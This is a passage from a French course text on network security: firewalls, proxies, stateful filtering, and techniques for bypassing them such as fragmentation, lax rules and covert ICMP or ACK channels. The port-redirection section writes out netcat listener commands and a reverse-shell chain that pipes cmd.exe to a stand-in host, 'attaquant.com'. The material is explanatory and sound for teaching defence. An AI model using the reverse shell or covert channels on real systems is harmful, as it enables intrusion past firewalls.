Sécurité et

Réseaux

1
Définition

Une définition formelle du Firewall a été proposée par Cheswick et Bellovin dans leur
ouvrage « Building Internet Firewalls » :

« Un Firewall est un élément ou un ensemble d'éléments placé entre

deux réseaux et possédant les caractéristiques suivantes :
• tous les flux (entrant et sortant) passent au travers
• seuls les flux autorisés par une politique locale peuvent passer
• le système lui-même est résistant aux agressions »

Un pare-feu est généralement défini comme un élément ou un ensemble d’éléments

permettant d’assurer le respect d’une politique de contrôle d’accès entre deux réseaux.

Plusieurs technologies existent pour atteindre cet objectif, et plusieurs architectures

peuvent être mises en œuvre. Un pare-feu n’est cependant pas l’outil de protection
universel :

• il ne pare que certaines catégories de menaces (par exemple, il ne protège

pas tel quel des virus),
• il ne protège que si le flux réseau transite par lui (problème des attaques
internes ou des connexions pirates),
• il ne peut s’affranchir du système d’exploitation sur lequel il repose,
• il peut contenir des portes dérobées (BackDoors) ou des failles (conception ou
implémentation).

Types de Firewall
Historiquement, les pare-feux se partageaient entre deux familles :

• les pare-feux de type routeur filtrant (le filtrage du trafic se fait au niveau
des couches réseau et transport), évoluant vers une technique dite « stafeful
inspection » permettant de gérer dynamiquement l’état des sessions en
cours,

2
 • les pare-feux de type mandataire, effectuant une analyse syntaxique et
sémantique au niveau applicatif pour un certain nombre de protocoles. Un
certain nombre de ces derniers sont issus de la technologie TIS de Gauntlet.

La plupart des pare-feux combinent aujourd’hui ces deux approches de manière plus ou
moins fine. Un pare-feu est généralement constitué des éléments suivants :

• un ordinateur (le plus souvent de type PC ou station de travail) muni d’au

moins deux interfaces réseaux,
• le système d’exploitation de l’ordinateur, se partageant le plus souvent entre
Unix (Solaris, UnixBSD, Linux, etc.) et Windows NT, pouvant être sécurisé
(durcissement) lors de la phase d’installation du pare-feu,
• le logiciel de pare-feu lui-même.

Cependant on trouve également :

• des boîtiers de type blackbox (appliance), munis de plusieurs interfaces

réseau, intégrant un système d’exploitation et un logiciel de pare-feu pré
installé, le logiciel de pare-feu pouvant être spécifique au constructeur
(Firebox de Watchguard) ou relever d’un éditeur tiers (module FW-1 de
Checkpoint)
• des routeurs filtrants intégrant des fonctions de pare-feux propriétaires (IOS
Firewall de Cisco) ou tout ou partie des fonctions d’un logiciel tiers (routeurs
Nokia avec FW-1)
• des logiciels de pare-feu embarqués au niveau du poste de l’utilisateur
(Norton Firewall par exemple), appelés aussi pare-feux personnels.

Filtrage couche basse

Le filtrage couche basse constitue un premier niveau de filtrage élémentaire, il s’attache à
vérifier une politique de sécurité au niveau du simple paquet réseau.

Présent dans l’immense majorité des routeurs en tant que mécanisme optionnel, il est
utilisé simultanément avec les mécanismes de routages de base.

La technique du filtrage couche basse présente de nombreux avantages. Souvent

basé sur des composants matériels, le traitement des paquets demeure rapide et
assure de bonnes performances de l’élément actif qui l’implémente. De plus le
mécanisme est généralement totalement transparent pour l’utilisateur final.

En revanche, n’agissant que sur les couches basses du réseau (couches 3 et 4) le

filtrage reste limité à ces seules couches : les protocoles de communication de plus
haut niveau ne peuvent donc être filtrés selon leur contenu.

Filtrage applicatif

Notion de Proxy
Le principe du filtrage applicatif, ou mandataire, consiste à assurer une médiation
entre deux réseaux, par l’insertion d’un équipement intermédiaire, obligatoire, et qui
assure une fonction de relayage (Proxy).

Vu du serveur, c’est le relais qui interroge le serveur et non directement le client

final, ce qui correspond, d’une certaine manière, à un mécanisme de translation
d’adresse de niveau applicatif. Le Proxy peut être totalement transparent pour

3
l’utilisateur (on utilise pour ce faire un mécanisme d’interception), mais le plus
souvent son emploi nécessite un paramétrage particulier du client pour qu’il puisse
l’utiliser.

Travaillant au niveau applicatif, le contenu protocolaire est interprété et peut alors

être filtré plus efficacement : il devient ainsi possible d’autoriser ou d’interdire des
commandes protocolaires (interdiction de la commande PUT sur FTP par exemple),
d’interdire le transfert de certaines données (blocage des JavaScript dans une
connexion HTTP, filtrage sur URL…) et même d’authentifier le client (le bon
acheminement de la requête est alors soumis à une authentification préalable).

Ce dernier point (connaissance de l’utilisateur émettant une requête), permet alors un

filtrage plus fin et plus élaboré qu’un simple filtrage de paquets.

Bien souvent, le service de Proxy est associé à un mécanisme de « cache » (surtout

pour le protocole HTTP), permettant d’optimiser les performances réseau.

Les nombreuses options d’un tel mécanisme en font un outil particulièrement puissant et
performant en termes de sécurité :

• Journalisation des événements plus fine,

• Remontées d’alertes plus évoluées,
• Gestion des quotas de flux et priorisation par utilisateur ou par type de service,
• Masquage de la topologie de son réseau interne,
• Capacité à gérer des statistiques…

La contrepartie de ce meilleur niveau de filtrage réside cependant dans la nécessité

de se procurer autant de services Proxy qu’il existe de protocoles applicatifs à
relayer : le mécanisme de Proxying est alors spécifique à chaque protocole. Dans
le cas où l’on souhaiterait relayer un service non supporté, il devient alors
nécessaire de développer son propre Proxy, ce qui peut s’avérer une contrainte
lourde1.

Les faibles performances réseau des services de relais, du fait de l’obligation de

réaliser un « décorticage » protocolaire onéreux en ressources CPU, tendent
cependant à abaisser la bande passante disponible.

Enfin, si l’on souhaite agir au niveau de l’utilisateur, le système devient moins

transparent vis à vis de l’utilisateur final qui doit alors interagir avec le système, au
moins durant la phase d’authentification initiale.

Les Proxys inverses

Jusqu’à maintenant, les concepts de Proxys ont été vus dans la perspective d’un
client qui souhaite traverser un Firewall pour atteindre un serveur. Or, les serveurs
internes aux entreprises sont eux-mêmes souvent protégés par un Firewall. On
peut donc avoir besoin d’un Proxy permettant à des clients externes d’accéder à un
serveur interne.

La principale différence réside dans le fait que, dans le premier cas, le client sait où
se trouve le Proxy et est configuré pour l’utiliser, alors que, dans le second cas, le
Proxy doit être totalement transparent et répondre à la place du serveur.

Généralement, on procède de la manière suivante : l’adresse du Proxy est déclarée

dans le DNS coté extérieur comme étant le serveur que l’on souhaite atteindre. Les
requêtes pour le serveur sont donc réceptionnées par le Proxy qui se charge alors
de relayer les requêtes.

1 Il existe toutefois des services de Proxy « génériques » (Socks Proxy par exemple) permettant
de relayer des services non supportés, mais l’efficacité du filtrage s’en ressent fortement.

4
Dans la plupart des cas (serveurs HTTP et DNS par exemple), les champs
protocolaires ne comportent pas toujours le nom ou l’adresse du serveur. Ainsi, et
pour ces protocoles, les Proxys inverses ne peuvent relayer du trafic que pour un
seul serveur interne.

Enfin, les Proxys inverses peuvent également être utilisés comme accélérateurs de
trafic (Proxy accelerators) : dans ce cas, le Proxy inverse fait également office de
cache, conservant une copie locale de tous les fichiers transitant par lui. S’il reçoit
une requête pour un fichier qui est dans son cache et s’il sait que ce fichier est
toujours valide, le Proxy peut répondre à la requête sans déranger le serveur. Ceci
permet donc le partage de charge entre le Proxy et le serveur original.

Le « Statefull Inspection » ou « filtrage à état »

La technique du Statefull Inspection, constitue un mariage de raison entre les deux
techniques de filtrages précédemment décrites : elle se caractérise principalement
par sa capacité à gérer l’état dynamique des connexions, « du fil à l’application ».

Il s’agit ici de la technologie la plus élaborée en matière de filtrage réseau, et qui permet
une sécurisation particulièrement performante.

Les Firewalls « Statefull», peuvent intervenir à chaque niveau des couches réseaux
et gèrent alors dynamiquement un contexte de session permettant de suivre à la
trace les connexions réseau.

Cette technique est par ailleurs la seule qui permet de gérer efficacement le problème
de la fragmentation

Gestion de la fragmentation
Le mécanisme de la fragmentation IP, pourtant parfaitement connu
et intégré dans les spécifications du protocole IP, n’est pas sans
poser de nombreux problèmes de sécurité.

Afin d’illustrer les problèmes de filtrage liés à l’utilisation de la

fragmentation IP, nous imaginerons la situation suivante :

Soient :

• 1 machine interne A

5
 • 1 machine externe B
• un Firewall

On interdit les connexions de B vers A sur le protocole HTTP (port 80) et on autorise le
reste.

B envoie à A un paquet IP de très grande taille contenant un segment TCP adressant le

port 80

Les routeurs intermédiaires vont filtrer le premier segment car l’en-tête TCP du fragment 1
contient l’adressage du port 80…

...mais les autres fragments vont passer car ils ne contiennent pas d’en-tête TCP !

Dans le cas où l’équipement de réseau intermédiaire aurait été un Firewall «

Statefull », ce dernier aurait filtré le premier segment, mais également les suivants
puisqu’il aurait eu la possibilité de repérer que ces segments additionnels
constituaient la suite du premier segment. En outre, si le premier fragment n’était
pas arrivé en premier, le Firewall aurait attendu l’arrivée de l’ensemble des
fragments avant de traiter la connexion, ce qu’aurait été incapable de faire un
simple routeur filtrant puisque travaillant seulement au niveau des paquets.

6
Généralités

Comme dit précédemment, un Firewall n’est pas l’outil de protection absolu. Leur fonction
principale de filtrage réseau peut se définir comme l’inspection, au regard de critères
variés, des flux de communication dans le but de juger de leur adéquation à une politique
de sécurité définie.

Cependant, l’efficacité du filtrage retenu dépend principalement des types de flux à

inspecter, des performances attendues mais également de la pertinence des critères
d’inspection face à une menace considérée.

Si l’on observe l’évolution des technologies réseaux au cours de ces dernières

années, on remarque que le nombre de critères nécessaires à une bonne
interprétation des flux n’a cessé de croître ; alors qu’il y a dix ans, on se contentait
de juger les flux sur les adresses, les types de services et les flags TCP/IP, il est
désormais indispensable de mettre en œuvre un filtrage à état, tant au niveau des
protocoles de communication euxmêmes (état des sessions TCP, suivi de
fenêtre…) que des protocoles applicatifs.

Une telle surenchère s’explique simplement par l’évolution des techniques de

contournement qui se sont peu à peu adaptées aux nouvelles technologies de
contrôles mises en place.

Pour un attaquant, jouer avec les limites des équipements de filtrage réseau revient
alors à exploiter les erreurs d’implémentation, les mauvaises interprétations des
standards ou plus simplement les limitations intrinsèques des outils de protection ;
l’objectif ultime de l’attaquant consiste donc à formater son flux réseau de manière
à le rendre licite vis-à-vis de la politique de filtrage.

Règles de filtrage trop laxistes

Le tableau suivant spécifie un ensemble de règles de filtrages permettant à un serveur de
messagerie (en 10.0.0.1) d’émettre et de recevoir du courrier électronique :
Source Port Destination Port Protocole Action

1 any any 10.0.0.1 25 tcp Permit

2 10.0.0.1 25 any any tcp Permit

3 10.0.0.1 any any 25 tcp Permit

Source Port Destination Port Protocole Action

4 any 25 10.0.0.1 any tcp Permit

7
 5 any any any any any Deny

La règle 1 spécifie que tout le monde (expression any) peut émettre sur le port
TCP SMTP du serveur.
La règle 2 est une règle dite « de retour », autorisant les réponses aux requêtes
des clients
La règle 3 précise que le serveur peut atteindre tout autre serveur de
messagerie
La règle 4 est la règle de retour de la règle 3
La règle 5 permet d’interdire explicitement toute autre connexion, dans les deux
sens.

Aussi simple qu’il soit, cet ensemble de règles contient pourtant déjà une erreur, car
il est plus permissif qu’il devrait l’être. En effet, la règle 4 autorise toute machine à
se connecter au serveur et ce quel que soit le port de destination pour peu que le
port source soit le port 25. La règle 2 va également autoriser les réponses à ce type
de requêtes. Ainsi, il suffira à un attaquant de choisir systématiquement le port 25
comme port source de ses requêtes pour scanner l’ensemble des ports de services
du serveur.

On peut contrer ce type d’attaque en ajoutant aux règles de filtrage une vérification
sur les flags TCP, permettant ainsi de déterminer le sens de la connexion sachant
qu’une réponse à une requête aura toujours le flag ACK positionné. Les règles de
notre exemple prennent alors la forme suivante :
Source Port Destination Port Protocole Flags Action

1 any any 10.0.0.1 25 tcp any Permit

2 10.0.0.1 25 any any tcp ACK Permit

3 10.0.0.1 any any 25 tcp any Permit

4 any 25 10.0.0.1 any tcp ACK Permit

5 any any any any any any Deny

La solution n’est par contre pas parfaite. En effet, si un attaquant parvient à forger
un segment TCP contenant le flag ACK de positionné, à destination du serveur,
avec un port source égal à 25 et sur un port quelconque du serveur, la règle 4
autorisera l’entrée d’un tel paquet.

Certes, le serveur de destination renverra à l’émetteur un segment RST mais il

devient alors possible de créer un canal caché ou une saturation de la bande
passante sur le réseau interne voire, dans le pire des cas, un déni de service par
saturation de la pile TCP / IP du serveur.

Ordonnancement des règles de filtrage ; « first match »

Dans les situations où l’on dispose de nombreuses règles de filtrage, il devient
impératif de bien les organiser. Il se peut en effet qu’une règle sensée interdire un
service soit sans effet, si une règle précédente, plus générale, a déjà autorisée le
service et ce en raison du mécanisme de « first match » déjà décrit.

8
Le tableau suivant spécifie des règles de filtrage pour une architecture dans
laquelle un routeur filtrant autorise toute communication vers un serveur sur tous
les ports de services inférieurs à 1024, sauf les ports HTTP et SMTP.

Source Port Destination Port Protocole Action

1 any any Serveur <1024 tcp Permit

… … … … … … …

15 any any Serveur 80 tcp Deny

16 any any Serveur 25 tcp Deny

… … … … … … …

36 any any any any any Deny

Si l’on spécifie les règles dans cet ordre, tout le monde pourra accéder aux ports
HTTP et SMTP, contrairement à ce que l’on souhaitait faire. En effet, les règles 15
et 16 devraient l’interdire, mais, la règle 1 étant rencontrée en premier, celle-ci est
appliquée et l’algorithme de traitement s’achève sans avoir balayé les deux règles
15 et 16.

Pour obtenir un filtrage efficace, les règles 15 et 16 auraient donc dû être positionnées
avant la règle 1.

Canaux cachés TCP - IP

Le filtrage sans état présente des lacunes qui permettent à des intrus d’établir des
canaux de communications de manière relativement simple.

ACK Channel
Pour discriminer le sens d’une connexion TCP, un firewall sans état détectera la
réponse à un segment précédent par la présence du flag ACK. Tout segment de ce
type sera donc considéré comme valide, puisque étant le résultat d’un segment
précédent, censé avoir passé avec succès le filtrage réseau.

Il suffit alors de n’utiliser que des segments ACK pour faire transiter de l’information
au travers d’un tel équipement de filtrage. Un outil comme ackcmd permet, sous
Windows, d’exploiter un tel canal de communication basé sur ce principe.

Ping Channel
Dans une requête ICMP de type Echo Request (ping), un champ est réservé pour
des données optionnelles. Ce champ est généralement rempli avec des octets de
bourrage dépendant du système d’exploitation (sous Windows ce champ contient
une table des caractères ASCII : ABCDEFGH…).

Il est donc possible d’utiliser ce champ pour établir un canal de communication entre deux
entités séparées par un système de filtrage laissant passer le ping.

9
ICMP Channel
L’utilisation abusive d’un champ optionnel dans ICMP peut être facilement contrée
par un système de filtrage intelligent ; il suffit d’écraser les données présentes dans
ce champ lors de l’opération de filtrage.

D’autres techniques utilisant ICMP ont alors été implémentées pour mettre en
œuvre un canal de communication caché. Lorsqu’une erreur ICMP est reçue par le
firewall, ce dernier devrait vérifier systématiquement que ce message se rapporte
bien à une communication en cours en consultant sa table d’états.

De nombreux systèmes de filtrage n’implémentent cependant un tel contrôle

élémentaire et il devient alors trivial de mettre en œuvre un canal de communication
exploitant cette fonctionnalité.

La difficulté pour l’administrateur consiste à choisir un juste milieu dans sa politique

de filtrage. S’il se montre trop laxiste, il s’expose à des attaques en déni de service
et à l’établissement possible de canaux caché. En revanche, s’il se montre trop
rigide, il risque de filtrer des messages ICMP indispensables au bon
fonctionnement du réseau.

Suivi de fenêtre TCP

Le suivi de fenêtre TCP est une technique de filtrage consistant à surveiller et
vérifier l’évolution correcte des numéros de séquence et d’acquittement en fonction
de la taille des fenêtres TCP négociées à l’initialisation de la connexion.

Cette technique d’inspection demeure cependant assez coûteuse à mettre en place

pour les développeurs de firewall, et nombre d’équipements de filtrage
n’implémentent pas de telles mesures.

Le principe d’établissement d’un canal caché de cette nature consiste, dans un

premier temps, à établir une connexion valide à travers le firewall de façon à créer
un état. Ensuite, on envoie des paquets hors séquence contenant les données du
canal.

Ré acheminement de ports
Les techniques de ré-acheminement de ports sont souvent utilisées pour contrer les
protections d'un Firewall entre un attaquant et sa cible ; elles consistent à injecter
des commandes entrantes dans un canal de communication sortant d’une cible.
Afin de mieux illustrer ce type d'attaque, voici la description d'une telle attaque
utilisant l'utilitaire netcat configuré manuellement.

Un pirate souhaite atteindre une machine Windows disposée derrière un mur pare-
feu qui n'autorise que les connexions sortantes de la victime vers l'extérieur, et
uniquement sur les ports 80 (HTTP) et 25 (SMTP).

10
L'attaque nécessite trois pré-requis :

1. l'attaquant doit avoir configuré un serveur telnet sur sa propre machine,

écoutant sur le port 80 : cette opération est réalisée avec l'utilitaire netcat
en utilisant la commande nc -vv -l -p 80,
2. l'attaquant doit avoir configuré un serveur telnet sur sa machine, écoutant
sur le port 25 : cette opération est réalisée avec l'utilitaire netcat en utilisant
la commande nc -vv -l -p 25,
3. l'attaquant doit pouvoir faire exécuter par sa victime la ligne de commande
suivante :

nc attaquant.com 80 | cmd.exe | nc attaquant.com 25

Cette dernière opération peut être effectuée en envoyant à sa victime un e-mail

contenant une pièce jointe malicieuse (cette pièce jointe pourra prendre la forme
d'un programme contenant le code de l'utilitaire netcat et un script - ou un autre
programme - réalisant la commande précédemment citée).

En lançant la commande précisée au point 3, la victime initie une communication

telnet sur le port 80 de l'attaquant. Les données en provenance de ce port de
service sont alors redirigées vers un interpréteur de commandes MS-DOS de la
victime, et la sortie standard des commandes passées sont redirigées vers le port
25 de l'attaquant.

Vue de l'attaquant, l'attaque se présente de la façon suivante :

• L'attaquant dispose de deux consoles, l'une hébergeant le serveur telnet sur le

port 80 et l'autre hébergeant le serveur telnet sur le port 25.
• Lorsque la victime lance la commande fatale, l'attaquant peut alors saisir des
commandes dans la première fenêtre et récupérer les résultats dans la seconde.

11
Les commandes saisies dans la première fenêtre sont renvoyées au premier client
netcat de la victime, elles sont redirigées dans l'interpréteur de commandes local de
la victime et la sortie standard de l'interpréteur est alors redirigée vers le second
client netcat de la victime, d'où le fonctionnement décrit.

Gestion de la fragmentation

Fragmentation IP et filtrage sans état

Dans le cas de la fragmentation IP, seul le premier fragment contient une en-tête
TCP valide, ce qui signifie qu’un système de filtrage sans état ne peut prendre de
décision réfléchie pour les autres fragments.

Il en résulte que la seule solution possible consiste à laisser passer tous les
fragments sans contrôle autre que celui des adresses sources et destination. Ce
problème a cependant été résolu dès l’apparition du filtrage à état.

Recouvrement de fragments
L’une des premières techniques de contournement de firewalls a consisté à utiliser
la possibilité offerte de recouvrement de fragments. Les premiers firewalls
implémentant la gestion de la fragmentation basaient leur décision sur les
informations contenues dans le premier fragment, puis appliquaient la même
décision aux fragments suivants.

Partant de ce principe, une attaque classique consiste alors à émettre un premier

fragment conforme à la politique de filtrage, puis les fragments suivants viennent «
écraser » le premier fragment, générant ainsi un segment final non-conforme à la
politique de filtrage, mais…hélas trop tard pour être détecté.

12
Protocoles à ports négociés
Alors que la plupart des applications reposent sur une connexion TCP ou un flux
UDP simple, n’utilisant qu’un seul port de service, d’autres nécessitent
l’établissement en cours de session d’autres flux réseaux dont les paramètres
peuvent être négociés.

Pour un outil ne permettant pas de comprendre et de suivre ces négociations, filtrer

de tels flux relève d’un véritable casse-tête, et il est alors souvent nécessaire
d’ouvrir plus que de raison sa politique de filtrage.

Le protocole FTP est le précurseur de telles applications puisque, en plus d’une

connexion sur le port 21 du serveur, il utilise une seconde connexion dédiée au
transfert de données, et dont les paramètres sont négociés. Cette seconde
connexion est normalement initiée par le serveur, depuis son port TCP 20, vers le
client et sur un port TCP haut (i.e. supérieur à 1023) fourni par le client. Pour que
l’opération se passe sans problème, il est alors nécessaire d’autoriser le serveur à
établir une telle connexion entrante vers le client, ce qui revient à autoriser le
monde entier à se connecter à n’importe quel port haut de sa plage d’adresse.

Afin de gérer finement un tel problème il convient donc d’équiper le système de

filtrage d’un module spécifique et destiné à suivre les paramètres de cette
négociation pour ouvrir, en temps réel et au plus strict, les filtres nécessaires.

Le cas particulier de FTP n’est pas isolé ; il existe de plus en plus de protocoles
fonctionnant avec des ports de services négociés comme l’IRC (Internet Relay
Chat), le H323 et les systèmes d’échanges peer to peer.

Pour l’IRC, le protocole autorise l’établissement de communications directes entre les

clients (mode DCC) :

Lorsque Bob envoie une requête DCC au serveur, il lui fournit également le port sur
lequel il va écouter pour cette connexion entrante. Le serveur retransmet les

13
paramètres de cette requête à Alice, qui ouvre ensuite une connexion sur la
machine de Bob et sur le port négocié.

Pour qu’un firewall laisse passer cette dernière connexion entrante, il lui faut donc
suivre la requête DCC de Bob et ouvrir temporairement le port choisit par Bob, avec
cette difficulté que l’adresse IP de Alice n’est connue que du seul serveur IRC.
Dans ce cas de figure, il est impossible d’ouvrir le canal sélectivement en
n’autorisant QUE Alice à se connecter.

Canaux cachés applicatifs

Une autre technique pour établir un canal de communication caché consiste à
détourner l’usage normal d’un protocole autorisé. Ainsi, si la consultation Web est
autorisée, on pourra se servir de l’autorisation pour établir une connexion TCP
sortante vers un service quelconque écoutant sur le port 80.

L’attaquant doit alors remonter les couches réseau : ce n’est au niveau TCP que
s’établira son canal, mais au niveau du protocole applicatif lui-même.

Pour lutter contre un tel détournement de la politique de filtrage, il convient donc de

vérifier que les données échangées sur les ports de service correspondent bien au
protocole considéré. Mais une telle protection a toutefois ses limites ; il reste
possible d’établir un tel canal tout en étant conforme aux spécifications du protocole
en question, le canal caché se logeant dans les paramètres applicatifs :

http://www.truc.com/ceci/est/un/canal/caché/

Préambule
La grande majorité des systèmes d’information mis en place dans les entreprises
est supportée par des réseaux locaux, s’appuyant sur des protocoles de type
TCP/IP. Interconnecter ces systèmes ne pose pas de difficultés techniques, de
nombreux types de produits répondant à ce besoin.

La difficulté majeure relève de la mise en place de solutions de sécurité, pour ouvrir

l’accès à un système, pour des échanges d’informations autorisés, en le protégeant
des accès non autorisés, malveillants ou des erreurs d’utilisation.

La solution de sécurité choisie, doit permettre d’assurer, la confidentialité, l’intégrité

et la disponibilité des informations ou services sensibles de l’organisation
concernée contre un ensemble de menaces, d’origine interne ou externe. La
sécurité est un sujet qui devra être abordé de manière systématique et
méthodique ; tout comme on ne sécurise pas un bâtiment simplement en posant
des serrures aux portes, on ne sécurise pas une interconnexion en plaçant
simplement un Firewall en entrée de son réseau.

La réalité est en effet plus complexe : n’en déplaise à certains responsables de

systèmes d’information, il n’existe pas de solution générique de sécurisation
applicable en tout temps et en toutes circonstances. On n’échappera donc pas à
l’analyse préalable autorisant la meilleure adéquation de la solution retenue au
problème posé.

14
On trouvera en fin de chapitre un certain nombre d’architectures de sécurité
typiques pour l’interconnexion de réseaux locaux : il va de soi que ces architectures
ne constituent qu’une base de travail, qu’il conviendra d’adapter à l’architecture
existante et au niveau de sécurité requis.

Lors de l’étude d’une interconnexion il sera nécessaire d’aborder les axes suivants :

• un axe « stratégie sécurité » (enjeux, organisation, etc.)

• un axe « architecture d'accès »
• un axe « sécurité des échanges »
• un axe « sécurité des services » (serveurs / postes)

Ces quatre axes, très différents, doivent être analysés de façon cohérente.

Les actions à mener lors d’une interconnexion sont listées ci après:

• Identifier les utilisateurs concernés.

• Identifier les flux autorisés.
• Protéger les machines exposées.
• Prévoir une organisation capable d'en assumer l'administration

Ce dernier point demeure souvent le point le plus critique d’une interconnexion,

d’une part parce que l’administration de la sécurité d’un système d’interconnexion
nécessite de solides compétences et dans de nombreux domaines, et d’autre part
parce que la charge d’une telle administration (en termes de ressources humaines
mais également financières) n’est pas négligeable.

Enfin, rappelons que, tout au long de la mise en place d’une interconnexion de

réseaux, le responsable devra avoir en mémoire à chaque instant un principe de
base de la sécurité : « tout ce qui n’est pas explicitement autorisé est interdit »

Routeurs ou Firewalls ?
L’une des premières questions que se posent les responsables d’une
interconnexion est de savoir quel type de matériel il est préférable d’utiliser pour
assurer la sécurité de l’interconnexion. Techniquement, il n’existe généralement
que deux réponses à ce type de question : routeurs filtrants ou Firewalls.

La réponse n’est malheureusement pas aussi simple qu’elle en a l’air. On serait

tenté de répondre brutalement qu’un Firewall, offrant un niveau de sécurité plus
élevé qu’un routeur filtrant, est préférable (qui peut le plus peut le moins !), mais
chaque système a ses propres avantages et inconvénients.

Les routeurs filtrants possèdent un avantage financier certain dans la mesure où

ceux-ci sont déjà généralement en place dans l’infrastructure existante. Bien
souvent, il suffit d’activer les options de sécurité de ces routeurs pour assurer une
sécurité satisfaisante. En termes de performances, un routeur sera généralement
plus efficace qu’un Firewall dans la mesure où il repose sur un matériel dédié,
spécifiquement développé pour le besoin. Cependant, les routeurs possèdent des
limites :

• Les ACLs sont fastidieuses à créer et à tenir à jour par les administrateurs, même
s’il existe désormais des interfaces d’administration graphiques évoluées,
• Les routeurs sont d'autant plus ralentis que les ACL sont plus longues (mais c’est
également le cas de Firewalls),
• Les routeurs sont des machines sans capacité de stockage (disque ou disquette),
et donc ne peuvent pas assurer de journalisation importante du trafic,
• Leur ergonomie d'administration est fruste,

15
 • Les routeurs ne sont pas programmables, et ne peuvent donc héberger des
fonctions de sécurité adaptées aux cas particuliers des entreprises.

Ce sont souvent ces limitations, plus qu’une meilleure sécurité d’ensemble, qui amènent à
préférer le choix d’un Firewall pour une interconnexion sécurisée.

En effet, les Firewalls ont tendance à offrir un niveau de sécurité supérieur à celui
des routeurs filtrants, au détriment du niveau de performance en terme de bande
passante (syndrome du goulet d’étranglement), mais les récentes évolutions des
routeurs et des Firewalls rendent difficile une telle classification, la frontière entre
les deux types de technologie se faisant de plus en plus floue :

• Il existe des Firewalls « matériels » rivalisant en termes de performances avec les

routeurs actuels (Cisco PIX),
• Certains routeurs intègrent désormais des fonctionnalités de Firewall (NAT,
Proxys applicatifs, VPNs…),
• Il existe des produits spécifiques qui permettent de déporter certaines fonctions
jusqu’ici assumées par les Firewalls (boîtiers de chiffrement, serveurs
d’authentification…),
• De plus en plus de routeurs intègrent des fonctionnalités d’authentification, de
chiffrement, de translation d’adresse et de services de relais.

Le choix final devra donc se faire en fonction des besoins des utilisateurs (en
termes de fonctionnalités mais également en termes de niveau de sécurité) et des
capacités des produits existants à répondre à ces besoins.

L’authentification
Lorsque l’on interconnecte son réseau d’entreprise à un réseau public comme
l’Internet, il devient alors tentant d’autoriser des utilisateurs distants, c’est à dire non
physiquement raccordé au réseau de l’entreprise, à accéder au système
d’information. C’est ce que l’on appelle l’extranet : un réseau virtuel, constitué du
système d’information principal, de réseaux partenaires (filiales, entreprises co-
traitantes, clients…) et des éventuels utilisateurs nomades (représentants de
commerce, collaborateurs en déplacement…).

Dès cet instant se pose non seulement le problème de la sécurité des flux transitant
entre l’utilisateur et le système d’information, mais également celui de
l’authentification de cet utilisateur.

Pour ce qui concerne la sécurité des flux réseaux, l’offre VPN du marché offre un
niveau de sécurité correct mais elle ne permet d’identifier que des machines et /ou
des réseaux, pas les utilisateurs de ces équipements. Dans ce contexte, il s’avère
alors souvent nécessaire de mettre en place une solution d’authentification qui aura
pour but de combler ce manque.

De nombreux produits et protocoles existent sur ce marché, chacun satisfaisant à

des niveaux de sécurité plus ou moins élevé. Depuis la simple authentification
basique par couple login/password, jusqu’aux solutions matérielles (carte à puce,
clefs USB, calculettes…), les niveaux de sécurité atteints par ces mécanismes
demeurent très variables.

On notera également la présence sur ce marché des serveurs d’accès distants,

autorisant des utilisateurs nomades à se connecter au système d’information
depuis un réseau téléphonique commuté. Ces serveurs intègrent la plupart des
protocoles de communications standards dans ce domaine (L2TP, PPTP, IPSEC,
RADIUS, TACAS+…).

16
L’analyse de contenu et la décontamination virale
Ces fonctions peuvent être utilisées lorsqu’un service de messagerie est rendu au
travers de l’interconnexion. Cela permet de limiter certains problèmes particuliers
liés à la messagerie :

• Propagation de virus (le plus souvent par pièces jointes contenant du code
exécutable).
• Envoi de code exécutable malicieux (pièce jointe ou script dans un message
HTML).
• Spam (courrier non sollicité envoyé à une longue liste de personnes).
• Attaque par saturation de la messagerie.
• Spoofing (courrier envoyé en utilisant une adresse d’émetteur usurpée).
• Relayage de serveur de messagerie.
• Fuite d’informations.
• Utilisation abusive de la messagerie (par exemple messages de grand volume).

Les Proxys applicatifs des pare-feux apportent une solution partielle à ces problèmes
(limitation du nombre de destinataires, de la taille des messages, …).

Pour obtenir une protection plus efficace, on peut utiliser des outils qui surveillent
tout le trafic de messagerie, et analysent en détail chaque message et ses pièces
jointes. Ces outils d’analyse de contenu s’interposent en tant que serveur de
messagerie entre le réseau extérieur et le serveur de messagerie interne. Certains
produits peuvent également être intégrés directement en tant que modules du
serveur de messagerie.

L’analyse de contenu
Les fonctions assurées par les systèmes d’analyse de contenu sont les suivantes :

• Détection de spam ou d’attaque par saturation : limitation sur le nombre de

destinataires ou détection de messages dupliqués un grand nombre de fois,
gestion d’une liste noire pour interdire certains émetteurs ou sites abusifs
(on peut trouver des listes noires régulièrement mises à jour sur Internet).
• Anti spoofing : vérification (sommaire) de la provenance du message, en
demandant une requête DNS inverse sur le nom d’hôte ou le serveur
émetteur.
• Blocage de certains types de pièces jointes pouvant contenir du code
malicieux (exécutables, VBscript, Javascript, ActiveX, Java, Word avec
macros, etc.). On peut également retirer automatiquement les pièces
jointes douteuses des messages pour transmettre uniquement le texte.
• Blocage des messages contenant certains mots clés qui pourraient indiquer
un usage abusif de la messagerie (par exemple fuite d’informations avec la
mention « secret défense »).
• Blocage des messages de trop grande taille.

Dans certains produits les messages bloqués sont placés en « quarantaine » où un

administrateur peut les étudier puis décider de les laisser passer ou non.

La décontamination virale

En général, un ou plusieurs antivirus peuvent être utilisés pour

analyser chaque message électronique transitant entre les réseaux.
Si un message est infecté, il peut être désinfecté automatiquement
puis transmis à son destinataire.

17
Exemple de produits : gamme MIMEsweeper avec MAILsweeper (pour SMTP,
Microsoft Exchange, Lotus Domino), SECRETsweeper (messages chiffrés),
InterScan VirusWall, Mail Guard ou bien e-mail Sentinel.

Ce type de solution est actuellement très en vogue sur le marché des produits civils
car ces produits complètent efficacement les pare-feux pour la mise en œuvre
d’une politique de sécurité. Il est à noter cependant que ces produits peuvent offrir
des fonctions et des performances très inégales du point de vue de la sécurité.

La détection d’intrusion
Pour tracer et traquer un pirate, il faut des outils de surveillance afin d’anticiper ou
réduire les conséquences de l’attaque. Pour cela des capteurs sont nécessaires
pour chacune des phases de l’attaque et sont indispensables pour s’apercevoir au
plus tôt qu’une tentative d’attaque est en cours ou a déjà eu lieu.

La mise en place des outils de protection comporte deux approches complémentaires :

• une approche temps réel avec des outils produisant des alarmes en cas de
détection d’une signature d’attaques sur le réseau, on peut alors parler de
détection d’intrusion,
• une approche temps différé avec des outils produisant des journaux
d’audit ou ‘logs’ permettant une analyse a posteriori, on peut alors parler
d’analyse d’attaques.

Les outils de détection d’intrusion (ou IDS, pour Intrusion Detection System)
travaillent directement sur les trames réseau. Ces outils de capture réseau sont
communément appelés sondes ou senseurs, ils sont en général basés sur une
